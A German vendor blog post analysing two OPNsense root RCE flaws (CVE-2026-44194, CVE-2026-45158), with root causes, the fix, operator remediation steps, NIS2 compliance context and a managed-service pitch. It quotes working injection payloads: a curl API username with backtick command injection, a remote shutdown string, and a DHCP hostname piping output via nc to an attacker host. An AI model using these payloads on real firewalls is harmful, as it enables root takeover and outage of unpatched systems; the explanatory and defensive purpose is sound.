OPNsense 26.1.8: Zwei kritische RCE-Lücken (CVE-2026-44194 & 45158) — vier signifikante CVEs in sieben Tagen

OPNsense als Managed Firewall — Patches in Stunden, NIS2-konform dokumentiert — WZ-IT übernimmt CVE-Monitoring, Patch-Einspielung und Konfigurations-Hardening auf eigener oder Ihrer Infrastruktur. Inklusive MFA-Pflicht, Berechtigungs-Audit und 24/7-Reaktion auf Critical-Advisories. Erstgespräch buchen · CVE-Monitoring · Server-Audit

Am 12. Mai 2026 hat das OPNsense-Team mit Version 26.1.8 zwei kritische Remote-Code-Execution-Lücken geschlossen. CVE-2026-44194 (CVSS 9.1, GitHub-Advisory GHSA-f59w-m967-9rf6) erlaubt einem authentifizierten User mit user-management-Berechtigung beliebige Code-Ausführung als root — über eine kreativ formatierte E-Mail-Adresse, die als Username angelegt wird. CVE-2026-45158 (Critical, GHSA-5rx3-w735-74wm) ermöglicht das Gleiche über einen manipulierten DHCP-Hostnamen, ausgelöst beim nächsten DHCP-Renewal. Beide PoCs sind öffentlich.

Das wäre für sich genommen ein normaler Patch-Tag. Bemerkenswert ist der Kontext: Es sind die dritte und vierte signifikante OPNsense-Lücke in sieben Tagen. Am 6. Mai hatte das Projekt bereits CVE-2026-44193 (CVSS 9.1, RCE über die XMLRPC-Bibliothek) und CVE-2026-44195 (CVSS 5.3, Login-Lockout-Bypass) veröffentlicht. Davor, am 9. April, war eine CVSS-8.2-Information-Disclosure-Lücke (CERT-Bund-Warnung WID-SEC-2026-1044) vor 26.1.6 bekanntgeworden. Macht in sechs Wochen fünf signifikante Schwachstellen, drei davon mit CVSS ≥ 9.

Dieser Beitrag ordnet ein, was die beiden neuen Lücken technisch tun, was die Häufung wirklich aussagt (Spoiler: nicht, dass OPNsense schlecht ist) und welche Konsequenzen sich für NIS2-pflichtige Unternehmen ergeben, deren Audit-Frist am 30. Juni 2026 läuft.

Inhaltsverzeichnis

• CVE-2026-44194 und 45158 — der konkrete Anlass
• Wie die Angriffe technisch funktionieren
• Vier Lücken in sieben Tagen — die Chronologie
• Was die Häufung wirklich aussagt
• Sofortmaßnahmen für OPNsense-Betreiber
• NIS2 und persönliche Geschäftsführer-Haftung
• Open Source ist nicht gleich Self-Hosting
• Unser Vorgehen bei WZ-IT
• Weiterführende Guides

CVE-2026-44194 und 45158 — der konkrete Anlass

OPNsense ist eine der wichtigsten Open-Source-Firewalls in Europa. Eingesetzt in tausenden Mittelstandsnetzen, Datacentern, Behördenumgebungen und Heim-Labs — häufig als souveräne und kostengünstige Alternative zu kommerziellen Appliances von Cisco, Fortinet, Sophos oder Palo Alto. Das niederländische Unternehmen Deciso BV sponsert das Projekt seit dem Fork aus pfSense im Jahr 2015; der Core liegt vollständig auf GitHub. Im Mai 2026 hat das Projekt zwei kritische Patches innerhalb von sieben Tagen veröffentlicht — den zweiten am 12. Mai mit OPNsense 26.1.8.

CVE-2026-44194 — RCE über User-Management (CVSS 9.1)

GitHub Advisory GHSA-f59w-m967-9rf6, gemeldet vom Forscher sopex. Der CVSS-Vector ist CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H — netzwerkbasiert, niedrige Angriffskomplexität, High-Privilege-User (user-management-Berechtigung), keine User-Interaktion, Scope Changed.

Die Lücke sitzt in core/src/opnsense/scripts/auth/sync_user.php. Wenn ein User angelegt oder geändert wird, ruft das Script pluginctl per Shell-Befehl auf und übergibt dabei den Username ungefiltert. Während Web-UI und API für gewöhnliche Usernames eine Eingabevalidierung durchführen, lässt OPNsense E-Mail-Adressen als Usernames zu. Im Local-Part einer E-Mail-Adresse erlaubt RFC 5321 quoted strings — und in Anführungszeichen sind nahezu alle Zeichen syntaktisch legal, auch Backticks, Semikolons, Pipes und Klammern.

Beleg aus dem Advisory:

curl -k -u <api_key> \
  -H 'Content-Type: application/json' \
  -X POST http://<IP>/api/auth/user/add/ \
  -d '{"user": {"name": "\"`id>/conf/proof.txt`\"@example.com", ...}}'

# Ergebnis in /conf/proof.txt:
# uid=0(root) gid=0(wheel) groups=0(wheel)

Sogar Shutdown ist möglich: Ein Username der Form "\"/sbin/shutdown${IFS}-p${IFS}now\"@example.com" schaltet die Firewall remote ab. ${IFS} ersetzt Leerzeichen, weil normale Spaces vom Befehls-Parser aufgesplittet würden.

Das Scope Changed-Attribut ist die eigentliche Sprengkraft. Ein delegierter Account mit nur user-management-Berechtigung — typisch für Junior-Admins oder Helpdesk-Rollen — erreicht damit Vollzugriff auf das gesamte System.

CVE-2026-45158 — Command Injection über DHCP-Hostname

GitHub Advisory GHSA-5rx3-w735-74wm, gemeldet von Kchigo, eingestuft als Critical. Die Lücke sitzt in src/etc/inc/interfaces.inc, in der interface_dhcp_configure()-Funktion. Wer im Web-UI die page-interfaces-Berechtigung hat, kann für ein DHCP-Interface einen Hostnamen vergeben. Dieser Hostname wird ohne Sanitization in die dhclient-Konfigurationsdatei /var/etc/dhclient.<device>.conf geschrieben.

Beispiel-Payload für den Hostnamen:

test"; media "aa; id | nc <attacker-ip> <attacker-port>"; } /*

Die resultierende dhclient.conf (vereinfacht):

interface "em0" {
  ...
  send host-name "test";
  media "aa; id | nc 1.2.3.4 4444";
  } /* ... ab hier auskommentiert

Beim nächsten DHCP-Lease-Renewal ruft dhclient das dhclient-script mit media=aa; id | nc 1.2.3.4 4444 als Environment-Variable auf. Das Script führt das in einem eval-Statement mit ifconfig aus — der injizierte Befehl landet im Shell-Kontext und läuft als root. Trigger ist entweder der "Apply"-Button im Web-UI oder ein DHCP-Renewal beim nächsten Reboot oder Lease-Ablauf. Eine Zeitbombe also: Wer die Konfiguration kompromittiert hat und seine Spuren verwischen will, kann auf den natürlichen Renewal warten.

Beide Lücken fallen klassenmäßig in CWE-78 (OS Command Injection) und CWE-88 (Argument Injection) — die OWASP-Familie, die seit zwei Jahrzehnten als gut verstanden gilt. Dass sie in einer aktiv gepflegten Codebasis wie OPNsense gleichzeitig in zwei unabhängigen Pfaden auftauchen, ist bemerkenswert.

Wie die Angriffe technisch funktionieren

Beide Lücken sind im Kern derselbe Bug-Klassiker: fehlende Trennung von Daten und Code. Nur die Einlieferungsoberflächen unterscheiden sich.

Deepdive 1: Der E-Mail-Trick in 44194

Die Spannung liegt zwischen Spezifikation und Implementierung. RFC 5321/5322 erlaubt im Local-Part einer E-Mail-Adresse quoted strings — "hallo welt"@example.com ist syntaktisch valide, ebenso "a;b"@example.com oder "cmd"@example.com. OPNsense akzeptiert E-Mail-Adressen als Usernames (eine bewusste Designentscheidung, weil viele User ihre E-Mail-Adresse als Login bevorzugen). Die UI-Validierung prüft auf RFC-Konformität; das passt.

Die Lücke entsteht weiter unten, beim Shell-Aufruf:

mwexecf('/usr/local/sbin/pluginctl -c user_changed ' . $username);

Das . ist die PHP-Konkatenation. Der Username wird direkt an den Befehlsstring angehängt, ohne Argument-Trennung, ohne Escaping. Die Shell sieht Backticks und führt deren Inhalt aus, bevor pluginctl überhaupt startet. Weil pluginctl als root läuft, läuft auch der injizierte Code als root.

Der Patch in 26.1.8 nutzt die %s-Notation mit Argument-Array:

mwexecf('/usr/local/sbin/pluginctl -c user_changed %s', [$username]);

Das ist die textbook-richtige Lösung: $username wird als separates Argument übergeben und nicht in den Shell-String interpoliert. Der Sicherheits-Lapsus war nicht die fehlende Validierung am UI-Layer (die existierte und war korrekt), sondern das fehlende Escaping am Ort der Verwendung.

Deepdive 2: DHCP als Code-Execution-Vektor in 45158

Die zweite Lücke folgt demselben Grundmuster, ist aber komplexer in der Ausnutzung. Wo es sitzt: In interface_dhcp_configure() wird die dhclient.conf aufgebaut, der Hostname direkt interpoliert:

if (!empty($wancfg['dhcphostname'])) {
    $dhclientconf_hostname  = "send dhcp-client-identifier \"{$wancfg['dhcphostname']}\";\n";
    $dhclientconf_hostname .= "\tsend host-name \"{$wancfg['dhcphostname']}\";\n";
}

Naiv betrachtet ist das eine harmlose String-Interpolation in eine Konfigurationsdatei. Tatsächlich ist die dhclient.conf aber keine reine Daten-Datei. Sie kann Parameter enthalten (media, request, require, …), die später als Shell-Variablen an das dhclient-script weitergegeben werden — und dieses Script benutzt eval mit dem Wert. Im "Advanced Mode" lässt sich der Hostname so manipulieren, dass er aus dem send host-name-Statement ausbricht und einen media-Parameter setzt, der wiederum Shell-Code transportiert.

Die Lehre aus beiden Fällen: Konfigurationsdateien sind keine passiven Daten. Wenn nachgelagerte Tools deren Werte in Shell-Kontexten verwenden, muss jede Eingabe in die Konfigurationsdatei behandelt werden, als würde sie direkt einem Shell-Befehl übergeben.

Vier Lücken in sieben Tagen — die Chronologie

Was die Veröffentlichung über reine Tagesnews hinaushebt, ist der Kontext.

Drei Critical-CVEs (44193, 44194, 45158) plus eine Medium (44195) plus eine April-Info-Disclosure. Wer OPNsense im Mai 2026 produktiv betreibt, hat innerhalb von sieben Tagen zwei Notfall-Patches einspielen müssen. Wer auch im April nicht gepatched hatte, schleppt fünf Lücken durch den Mai.

Die in Belgien ansässige Pentest-Plattform CrowdSec hat angekündigt, das Scanning auf alle drei Critical-CVEs einzuschalten — mit der Geschwindigkeit, mit der nach Cisco-ASA-Disclosure im September 2025 Massen-Scanning eingesetzt hat (binnen 24 Stunden 100+ scanning IPs), ist davon auszugehen, dass auch hier innerhalb einer Woche flächendeckend gescannt wird.

Was die Häufung wirklich aussagt

Bevor jetzt der Reflex einsetzt, OPNsense sei "unsicher": Das wäre die falsche Schlussfolgerung. Die Lage zeigt zwei Dinge gleichzeitig.

Was OPNsense richtig macht. Patches sind innerhalb von Stunden bis Tagen verfügbar. Die GitHub Security Advisories enthalten vollständige Root-Cause-Analysen mit funktionsfähigen PoCs — ein Transparenz-Niveau, das kommerzielle Vendor-Disclosures selten erreichen. Externe Forscher (sopex, Kchigo) bekommen Credit und arbeiten kooperativ. Der Release-Cycle ist mit halbjährlichen Major-Releases und biweekly Minor-Updates aggressiv. Die Codebasis liegt vollständig auf GitHub; jeder kann jeden Commit nachvollziehen.

Was Self-Hosting in dieser Geschwindigkeit kostet. Wer OPNsense im Mai 2026 selbst betreibt, hat zwei Notfall-Patches in sieben Tagen, plus Audit der Berechtigungen, plus Rotation der API-Keys, plus Log-Review. Ohne automatisiertes Patch-Management und ohne dokumentierte Reaktionsroutine fällt mindestens einer der Schritte unter den Tisch. Bei einer Firewall ist eine verpasste Lücke nicht "ein Server unter vielen" — sie ist der zentrale Beobachtungspunkt des Netzwerks, mit Zugriff auf TLS-Termination, VPN-Tunnel und Auth-Logs.

Was sich strukturell verändert hat. Vulnerability Discovery hat sich in den letzten 18 Monaten massiv beschleunigt. KI-gestützte Code-Analyse macht es Forschern — und Angreifern — leichter, ältere Codestellen mit subtilen Lücken aufzuspüren. Dieselbe Beschleunigung sehen wir bei Linux-Kernel-Lücken (Copy Fail, Dirty Frag, Pack2TheRoot — letztere KI-gestützt entdeckt), bei cPanel CVE-2026-41940, bei Cisco ASA / ArcaneDoor und bei Ollama (Bleeding Llama). Open Source hat dabei den Vorteil schneller, transparenter Patches; den Nachteil, dass das Einspielen beim Betreiber liegt.

Sofortmaßnahmen für OPNsense-Betreiber

1. Versionsstand prüfen. Im Web-UI unter System → Firmware → Status oder per CLI:

opnsense-version

Verwundbar sind alle Versionen ≤ 26.1.7, Community wie Business Edition.

2. Update auf 26.1.8 einspielen.

opnsense-update -vkr 26.1.8

Oder im Web-UI über System → Firmware → Updates. Bei Cluster-Setups (CARP-HA): erst Slave, dann Master, mit kurzem Stabilitätsfenster dazwischen.

3. Berechtigungen auditieren. Im Web-UI unter System → Access → Users die Nutzer auflisten und prüfen:

• Wer hat user-management? (Voraussetzung für CVE-2026-44194)
• Wer hat page-interfaces? (Voraussetzung für CVE-2026-45158)
• Wer hat XMLRPC-API-Zugang mit restore_config_section? (Voraussetzung für die ältere CVE-2026-44193)

Diese Berechtigungen sollten nach dem Prinzip least privilege nur einem klar definierten Personenkreis zugeordnet sein — keine Auszubildenden, keine externen Dienstleister, keine "Helpdesk-Vollzugriff"-Sammelaccounts.

4. API-Keys rotieren. Insbesondere wenn der XMLRPC-Endpoint im Mai 2026 aus dem Netz erreichbar war. CVE-2026-44193 war partiell auch über exponierte API-Schnittstellen ausnutzbar.

5. Logs prüfen. Auf:

• Verdächtige /api/auth/user/add-Aufrufe mit ungewöhnlichen Usernames (Backticks, Quotes, Pipes im Namen)
• Ungewöhnliche DHCP-Hostname-Änderungen mit verdächtigen Inhalten
• Ausgehende Verbindungen von der Firewall selbst auf unbekannte IPs (Indikator für Reverse-Shell)
• Neue Cron-Jobs oder Persistence-Mechanismen unter /conf/ oder /usr/local/etc/rc.conf.d/

6. Web-GUI niemals unsegmentiert im Internet exponieren. Eigentlich immer wahr, jetzt erst recht. Management-Zugriff über VPN, Geo-Block für die Management-Range, MFA für alle Admin-Accounts.

7. Backup der Konfiguration nehmen — vor dem Patch. Im Web-UI unter System → Configuration → Backups. Damit ein Rollback möglich ist, falls 26.1.8 Regressions hat (im Briefing nicht dokumentiert, aber bei Notfall-Releases nicht ausgeschlossen).

8. Bei Verdacht auf Kompromittierung: Reinstall. Eine kompromittierte Firewall mit Root-Zugriff für den Angreifer ist nicht zuverlässig zu reinigen. Saubere Neuinstallation aus dem letzten vertrauenswürdigen Konfigurations-Backup, dann alle Credentials der dahinter laufenden Systeme rotieren.

NIS2 und persönliche Geschäftsführer-Haftung

Die deutsche NIS2-Umsetzung wirkt im konkreten OPNsense-Fall an drei Stellen.

Artikel 21 — Cybersicherheits-Risikomanagement. Verpflichtet wesentliche und wichtige Einrichtungen zu dokumentierten Maßnahmen, explizit inklusive Schwachstellen- und Patch-Management (Buchstabe e), Cyberhygiene (Buchstabe g) und Lieferanten-Risikomanagement (Buchstabe d). Eine Firewall, die mehrere Wochen mit bekannten CVSS-9.1-Lücken läuft, weil keine Patch-SLA existiert, erfüllt diese Vorgaben nicht.

Artikel 23 — Meldepflichten. Frühwarnung binnen 24 Stunden, vollständiger Bericht binnen 72 Stunden bei "erheblichem" Sicherheitsvorfall. Massenkompromittierung über CVE-2026-44194 mit Datenabfluss oder Lateral-Movement aus der Firewall ins interne Netz erfüllt das Kriterium spätestens, wenn der Angreifer Auth-Logs oder TLS-Termination missbraucht hat.

Haftung. Bußgelder bis 10 Millionen Euro oder 2 Prozent des weltweiten Konzernumsatzes. Persönliche Haftung der Geschäftsleitung gegenüber dem Unternehmen — eine zivilrechtliche Innenhaftung, die nicht durch D&O-Versicherungen abgedeckt werden muss. Wer dokumentieren kann, dass ein Patch-Workflow existierte und im konkreten Fall fristgerecht ausgelöst wurde, steht im Audit gut da. Wer das nicht kann, hat ein Problem.

Die ersten formellen NIS2-Audits laufen ab dem 30. Juni 2026. Ein Pre-Audit-Befund "OPNsense ungepatched zwei Wochen nach CVE-2026-44194-Disclosure" wird in den NIS2-Compliance-Reviews dieses Jahres zum Standardpunkt.

Open Source ist nicht gleich Self-Hosting

Eine der wichtigsten Klärungen, die aus der aktuellen Lage folgt: Open Source heißt nicht, dass man die Software selbst betreiben muss. Wer OPNsense aus DSGVO- und Souveränitätsgründen ausgewählt hat, bekommt diese Souveränität auch dann, wenn ein dritter Partner den Betrieb übernimmt — solange dieser Partner in der EU sitzt, auf EU-Infrastruktur arbeitet und die Konfigurations- und Patch-Hoheit beim Kunden bleibt.

Die Alternative, in einer Cisco-ASA- oder Fortinet-FortiGate-Welt nach den jüngsten Vorfällen (ArcaneDoor mit FIRESTARTER-Bootkit, das selbst gepatchte Systeme weiter kompromittiert hält), ist nicht offensichtlich besser: Kommerzielle Firewall-Vendor-Disclosures sind regelmäßig später und weniger transparent als die OPNsense-Advisories, die Patches kommen oft monatlich statt biweekly, und das Vendor-Lock-in ist deutlich tiefer (siehe unsere ausführliche Cisco-ASA / ArcaneDoor-Analyse). Die strukturelle Frage löst sich durch einen Wechsel zu kommerziellen Appliances nicht; sie wird nur in eine andere Risikoklasse verschoben.

Wer OPNsense behalten und den Betriebs-Overhead nicht selbst tragen will, hat eine pragmatische Option: Managed Service mit dokumentiertem Patch-SLA.

Unser Vorgehen bei WZ-IT

Wir betreiben OPNsense als Managed Service auf eigener Infrastruktur in Deutschland oder direkt auf Kunden-Hardware — je nach Anforderung. Bestandteil sind:

Automatisiertes CVE-Monitoring. Tägliche Prüfung gegen GitHub Security Advisories, CERT-Bund-, BSI- und NVD-Feeds plus vendor-spezifische Quellen. Beide Mai-12-CVEs wären bei unseren Kunden innerhalb von Stunden mitigiert gewesen — entweder durch sofortigen Patch auf 26.1.8 oder durch Berechtigungs-Reduktion bis zur Verifikation. Dokumentation jeder Reaktion als Anlage zur NIS2-Risikomanagement-Doku. Mehr dazu in unserem CVE-Monitoring-Service.

Hardening-konforme Default-Konfiguration. Web-GUI niemals internet-exponiert (Zugang nur über VPN — typischerweise WireGuard via NetBird), MFA-Pflicht für alle Admin-Accounts, granulares Role-Based-Access mit least privilege, kein gemeinsamer "Helpdesk-Vollzugriff"-Account, separate Read-Only-Accounts für Monitoring-Anbindung.

Konfigurations-Backups mit Object Lock. Tägliche verschlüsselte Snapshots der OPNsense-Konfiguration nach unserer 3-2-1-1-0-Strategie, mit Object-Lock-immutable Offsite-Replikation. Damit ist nicht nur die Wiederherstellung nach einem Hardware-Defekt gesichert, sondern auch die Rückkehr zu einem nachweislich nicht-kompromittierten Konfigurationsstand im Incident-Fall.

Migration aus klassischen Firewall-Appliances. Cisco ASA, Fortinet FortiGate, Sophos XG/UTM, pfSense — wir haben für jeden Ausgangspunkt ein Migrations-Runbook und einen Parallelbetriebs-Pfad während des Cutovers. Bei NIS2-relevanten Setups dokumentieren wir die Migration als Anlage zur Risikomanagement-Doku.

Konkret im Bleeding-Edge-Fall. Wer aktuell auf einer ungepatched OPNsense ≤ 26.1.7 sitzt und unsicher ist, ob Kompromittierung vorlag: Wir übernehmen kurzfristig den Incident-Response-Prozess (Forensik, Log-Sicherung, Berechtigungs-Audit, Reinstall aus Pre-Mai-Backup), inklusive der NIS2-konformen Dokumentation.

Weiterführende Guides

• CVE-Monitoring als Managed Service — automatisierte Reaktion auf GitHub-Advisories, NVD, CISA-KEV, CERT-Bund und BSI-Feeds
• Server-Audit — Einmal-Audit Ihrer OPNsense- oder anderer Firewall-Konfiguration mit Maßnahmenplan
• Cisco ASA, ArcaneDoor & CVE-2025-20362 — moderner VPN-Stack — was Edge-Appliances strukturell unterscheidet
• NetBird Managed Service — Zero-Trust-VPN als Alternative oder Ergänzung zur Firewall-VPN
• Linux-Kernel-Schwachstellen 2026 — Patch-Management Chefsache — NIS2-Kontext und Geschäftsführer-Haftung
• cPanel CVE-2026-41940 — Massenhack und souveränes Hosting — gleiches Muster bei Hosting-Panels
• Bleeding Llama (CVE-2026-7482) — gleiches Muster bei Self-Hosted-AI
• Proxmox Backup Server Offsite — ransomware-sichere Pull-Architektur — Konfigurations-Backup-Strategie

Sie betreiben OPNsense, pfSense oder eine kommerzielle Firewall — und wollen wissen, ob Ihr Patch-Workflow den NIS2-Audit-Frist 30. Juni 2026 standhält? Wir prüfen Ihre aktuelle Konfiguration kostenfrei und liefern eine konkrete Empfehlung mit Patch-SLA-Vorschlag und Compliance-Bewertung — pauschal pro Firewall, mit oder ohne anschließenden Managed-Service.

Kostenloses Firewall-Audit buchen · CVE-Monitoring · Server-Audit